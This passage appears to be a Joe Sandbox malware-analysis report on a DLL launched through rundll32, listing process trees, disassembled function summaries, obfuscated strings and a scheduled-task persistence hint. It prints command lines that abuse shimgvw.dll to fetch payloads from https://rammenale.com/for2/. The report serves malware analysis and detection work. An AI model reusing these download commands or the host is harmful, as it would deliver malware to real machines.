Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 4988, Parent PID: 6092

General

Target ID:	8
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:53:00
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 5432, Parent PID: 3224

General

Target ID:	12
Start time:	00:53:03
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Analysis Process: rundll32.exePID: 6136, Parent PID: 3224

General

Target ID:	13
Start time:	00:53:03
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp
Imagebase:	0xe80000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Disassembly

Reset < >

Analysis Process: loaddll32.exePID: 3224, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	3.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 6BEE1B85 Relevance: 35.3, APIs: 11, Strings: 9, Instructions: 303
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,316303B8), ref: 6BEE1C0B
_strlen.LIBCMT ref: 6BEE1D30
ExpandEnvironmentStringsW.KERNEL32(?,?,000000FF), ref: 6BEE1D9D
FindNextFileW.KERNELBASE(?,?,?,?,?,316303B8), ref: 6BEE1FAC

Strings

GoogleRegisterTask, xrefs: 6BEE1E69
%s\*.*, xrefs: 6BEE1BE7
s`bovb-f{f, xrefs: 6BEE1DF8
%s\%s, xrefs: 6BEE1C6E
IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>, xrefs: 6BEE1D10
%s\%s, xrefs: 6BEE1F48
%s\%s, xrefs: 6BEE1E84
PT30S, xrefs: 6BEE1E10
-a , xrefs: 6BEE1DC2

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: FileFind$EnvironmentExpandFirstNextStrings_strlen
String ID: %s\%s$%s\%s$%s\%s$%s\*.*$-a $GoogleRegisterTask$IRA3BDVBaRAtB@VB[BAzBDVBYtAsBKRBOdApBD7BbtB>$PT30S$s`bovb-f{f
API String ID: 4146766196-3364674013
Opcode ID: bb3a420eba7aeabce63e2fb95ee13f917c11a8267c7a8b6a6f9f58e947cdaff6
Instruction ID: 22482656f092e4683b9f7f92fb432bd9de3a650c929af0b4233837df695f8a93
Opcode Fuzzy Hash: bb3a420eba7aeabce63e2fb95ee13f917c11a8267c7a8b6a6f9f58e947cdaff6
Instruction Fuzzy Hash: 95C1C1B1904249EBDF20DFA4DC06FED3BB8BB05304F604069F905DA1A1EB39DA85DB61

Function 6BEE4402 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 260
sleepCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6BEE171F: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6BEE175A
Part of subcall function 6BEE171F: _strlen.LIBCMT ref: 6BEE177C
Part of subcall function 6BEE171F: GetProcAddress.KERNEL32(?), ref: 6BEE17E2
Part of subcall function 6BEE171F: _strlen.LIBCMT ref: 6BEE180D

_strlen.LIBCMT ref: 6BEE4460
GetEnvironmentVariableW.KERNEL32(?,?,00000032), ref: 6BEE44CA
_strlen.LIBCMT ref: 6BEE44F0
_strlen.LIBCMT ref: 6BEE4571
_strlen.LIBCMT ref: 6BEE45E8

Part of subcall function 6BEE192F: _strlen.LIBCMT ref: 6BEE19BD
Part of subcall function 6BEE192F: CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6BF074C4), ref: 6BEE1A5E

Sleep.KERNELBASE(000005DC), ref: 6BEE4654
Sleep.KERNELBASE(00007530), ref: 6BEE465F
_strlen.LIBCMT ref: 6BEE4685
_strlen.LIBCMT ref: 6BEE4706

Part of subcall function 6BEE1B85: FindFirstFileW.KERNELBASE(?,?,?,?,?,316303B8), ref: 6BEE1C0B

Strings

%s%s, xrefs: 6BEE46C4
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB, xrefs: 6BEE45C8
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB, xrefs: 6BEE44D0
[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>, xrefs: 6BEE46E6
VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>, xrefs: 6BEE4551
%s%s, xrefs: 6BEE452F
gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>, xrefs: 6BEE4440
%s%s, xrefs: 6BEE4745
[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB, xrefs: 6BEE4665

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: _strlen$Sleep$AddressCreateEnvironmentFileFindFirstHandleModuleProcProcessVariable
String ID: %s%s$%s%s$%s%s$VtAuBDZBgBA0BDFB`dAoBEtBRtApBDFB`tAyBDVB`tA`BFNBWBAWBFhBQBA`BKpBNBAjBGhBNRAkBG`BMBAjB@3BZRAhBG`BZtBwBGRBZRB6BDRBORAjBGVBMdByB@3BNdB6BDVBYRAnBGhBNRB1BG`BNRB0BGJBeRA`BFhBadAtBKJBatAiBENBYRAzBKZBYRAzBGNBNdB>$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBRtAzBKhB`BA3BD;B[BAiBKJBfRAtBKRBLBB1B@7BYBAkBKRB$[BAABKBB`BAFBDFBgBAkBEtBVdAuBDFBaRAsBD7BYtA`BF3BbRAiBKJBatAyBD;BYdA3BEtBUdAkBKVBaBA3BEtBVtAoBDNBgRAzBDVBRdAuBD;BgBAUBFVBQdAIB@7BYBAkBB>>$[BAABKBB`BAFBDFBgBAkBEtBWBAuBDNBZRApBEtBWRAsBDNB`dAuBKNBatAnBKRB[BA[BDhBadAhBD;BgtAyBEtBPRALBDVBgBAGBDFBZtAlBDVB[BAIBFVB$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;BZRAiBDtBatAmB@7BgBA7BKRB$gRAyBDVB`dAtBKJBatAnBDhBaBAoBB>>
API String ID: 405535372-2132796354
Opcode ID: 288a13779b8c475d641da619b79603d5828e07265e1c806321945be78445982b
Instruction ID: 24e5d7b0d2d919a20b46932cb998c66671b6fd15010d3c71c55cf28d10369c2d
Opcode Fuzzy Hash: 288a13779b8c475d641da619b79603d5828e07265e1c806321945be78445982b
Instruction Fuzzy Hash: 90A10CB2C4025CABDF31DBE8DC86FDD7BB8AF08208F14401AE514A7152EF3996598F65

Function 6BEE192F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 174
processCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 6BEE19BD
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6BF074C4), ref: 6BEE1A5E
_strlen.LIBCMT ref: 6BEE1AC4
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,?,6BF074E0), ref: 6BEE1B60

Strings

%s %s, xrefs: 6BEE1B26
`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>, xrefs: 6BEE199D
bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB, xrefs: 6BEE1AA4
%s %s, xrefs: 6BEE1A24

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: CreateProcess_strlen
String ID: %s %s$%s %s$`dA2BD7BYBApBDtBNtBzB@7BYRA7BDVBJBAGBGlB[BA[BDhBadAhBD;BgtAyBEtBVtA6BKNBgBAoBD3BNtBzBEtB`tAlBDhBaRAmBKZBgtBvBDRBaBApB@tBPRAwBDFBYtAoBEZBbRAoBK`B[tADBKVBaBApBKNBZtAzBDVBYRAvBB>>$bBA3BKRB`BAyBGlBOtBuBKJBZRAwBD3BYRAvBDFBaBAoB@7BZtAuBD3BOtAnBD;B`dBzB@;B`dAoBD`BbRA3B@7BgBAwBKBB
API String ID: 3222040079-4228346574
Opcode ID: 654068aad079cb806c8d46102f7e2b28fbba9ed25b0e4216fbbae32918317186
Instruction ID: 755975a60acb6d04c461873ee48bc8d5a64cc69ac63c941446db3c89d0dd1ce0
Opcode Fuzzy Hash: 654068aad079cb806c8d46102f7e2b28fbba9ed25b0e4216fbbae32918317186
Instruction Fuzzy Hash: 305166B2D40248ABEB20DFF4DC42FDD77B8AF04748F240019F618E6191EBB9A6558B65

Function 6BEE4D53 Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6BEE4D90
dllmain_crt_dispatch.LIBCMT ref: 6BEE4DA7
dllmain_raw.LIBCMT ref: 6BEE4DEF
dllmain_crt_dispatch.LIBCMT ref: 6BEE4E02
dllmain_raw.LIBCMT ref: 6BEE4E15

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: a49a85cb2a31dbcc8a730eaf23912b8b77f5128d327c1f982895dbf4000feca4
Instruction ID: 6679847cc9f9292a90d0af25d7fa286c522bd3dadc09ca677b5b9d10b92a3f9f
Opcode Fuzzy Hash: a49a85cb2a31dbcc8a730eaf23912b8b77f5128d327c1f982895dbf4000feca4
Instruction Fuzzy Hash: 6E219172D00629AFDB214F65CC41A6F3B79EB85B98F21415BF8245B224D3398E538BB0

Function 6BEE4B9C Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6BEE4BE9

Part of subcall function 6BEE50D5: RtlInitializeSListHead.NTDLL(6BF06DC0), ref: 6BEE50DA

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6BEE4C53

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: fe637fce3ebc5bf57a9c2795b32d1f79b352c0252e63d4767e067a4f65c675a4
Instruction ID: f458166c8bd5044dba770b9c17a20bfc61626acbd43a8ec129a14be4015c3b68
Opcode Fuzzy Hash: fe637fce3ebc5bf57a9c2795b32d1f79b352c0252e63d4767e067a4f65c675a4
Instruction Fuzzy Hash: A021F036648301AAEB10ABB4881639C37F1AF1632DF30448EE645672D0DB2E6157D675

Function 6BEF0258 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6BEF02A4
GetFileType.KERNELBASE(00000000), ref: 6BEF02B6

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 1c2f065701d6b568efe20e6bab2c2c5e8cdc1f23af4b95d3f131688a12e03cac
Instruction ID: cf1defb6c1a03187a354203713a03323a9753a9baf82a20d9d8cf2b5cf638d6b
Opcode Fuzzy Hash: 1c2f065701d6b568efe20e6bab2c2c5e8cdc1f23af4b95d3f131688a12e03cac
Instruction Fuzzy Hash: A411B4716047524AEB228E3ECC84712BB9CA74B375B34079AD0B6966F3C738D5978260

Function 6BEF1658 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,6BEE1775,6BEEC75A), ref: 6BEF1699

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 42314b988e7d4ee8852907fe2917ecfbac33cad8a265e7db41b3af459870ab92
Instruction ID: 7859c14feda37ece145cdf415e6c4c5b61ee89ff58d369f093d2bb5aede9f69c
Opcode Fuzzy Hash: 42314b988e7d4ee8852907fe2917ecfbac33cad8a265e7db41b3af459870ab92
Instruction Fuzzy Hash: 2EF0E07554463C5BEB114EF5C805B5A374C9F42768F7A8165DC14D6250DF28D4138AE3

Function 6BEE1000 Relevance: 1.5, APIs: 1, Instructions: 12
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 6BEE1019

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: f7dc9035dbaf2b48a95d61ee83f7f2e2a09dd5245d2595eb1be4c53e6f1efcf8
Instruction ID: 4a4af57ec910b0e09b3e28672bcff56d3754f426284e6352512c9bad8d390aad
Opcode Fuzzy Hash: f7dc9035dbaf2b48a95d61ee83f7f2e2a09dd5245d2595eb1be4c53e6f1efcf8
Instruction Fuzzy Hash: 95D01274645258EBCB009BF4C806B4D77F8EB09715F60C065E51697240D638AE46A533

Non-executed Functions

Function 6BEF612B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 6BEF6342

Strings

1#QNAN, xrefs: 6BEF623E
1#IND, xrefs: 6BEF6230
1#SNAN, xrefs: 6BEF6237
1#INF, xrefs: 6BEF6261

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 02afc7e41b57cda4c9ab53833dc7700da782621da8ceeb577398a80d975fdffd
Instruction ID: 970f0a05ce7f9a414bc398839467f00a4f2d3459c012f8739ae429416a295b1b
Opcode Fuzzy Hash: 02afc7e41b57cda4c9ab53833dc7700da782621da8ceeb577398a80d975fdffd
Instruction Fuzzy Hash: 19D24C71E086288FDB65CE28CD407DAB7B9EB85305F2441EAD40DE7240E779AE86CF41

Function 6BEF5C80 Relevance: 6.5, APIs: 4, Instructions: 455COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction ID: e7b26376c129ad373e760ce0663c03027cf23c349bd385bdc794c062c32d1e7b
Opcode Fuzzy Hash: 10941fa296378a8a5a9f7a9e3a6299de1727250a8a886395a75c3011d5e11ab4
Instruction Fuzzy Hash: DA023D71E012199FDB14CFA8C89069EFBF5FF48318F2482A9D919E7380D735A952CB90

Function 6BEE53EE Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 6BEE53FA
IsDebuggerPresent.KERNEL32 ref: 6BEE54C6
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6BEE54DF
UnhandledExceptionFilter.KERNEL32(?), ref: 6BEE54E9

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161450529.000000006BF0D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161466522.000000006BF0E000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6bee0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 56d914645bdd6b1a8ca3346c77b85ea04fd50f0422f7684cc950bf7e45b9d8d4
Instruction ID: f7c83e5fb615dffff9bddebc182157f3c1735c5e33a1dca2442c3201b871e158
Opcode Fuzzy Hash: 56d914645bdd6b1a8ca3346c77b85ea04fd50f0422f7684cc950bf7e45b9d8d4
Instruction Fuzzy Hash: 273105B5D0531C9ADF21DFA0D8497CDBBB8AF08304F2041EAE50DAB240EB749A858F55

Function 6BEEDCFD Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,6BEE1775), ref: 6BEEDDF5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,6BEE1775), ref: 6BEEDDFF
UnhandledExceptionFilter.KERNEL32(6BEE144D,?,?,?,?,?,6BEE1775), ref: 6BEEDE0C

Memory Dump Source

Source File: 00000000.00000002.2161385477.000000006BEE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000000.00000002.2161368422.000000006BEE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2161385477.000000006BF06000.00000040.00000001.01000000.00000003.sdmpDownload File
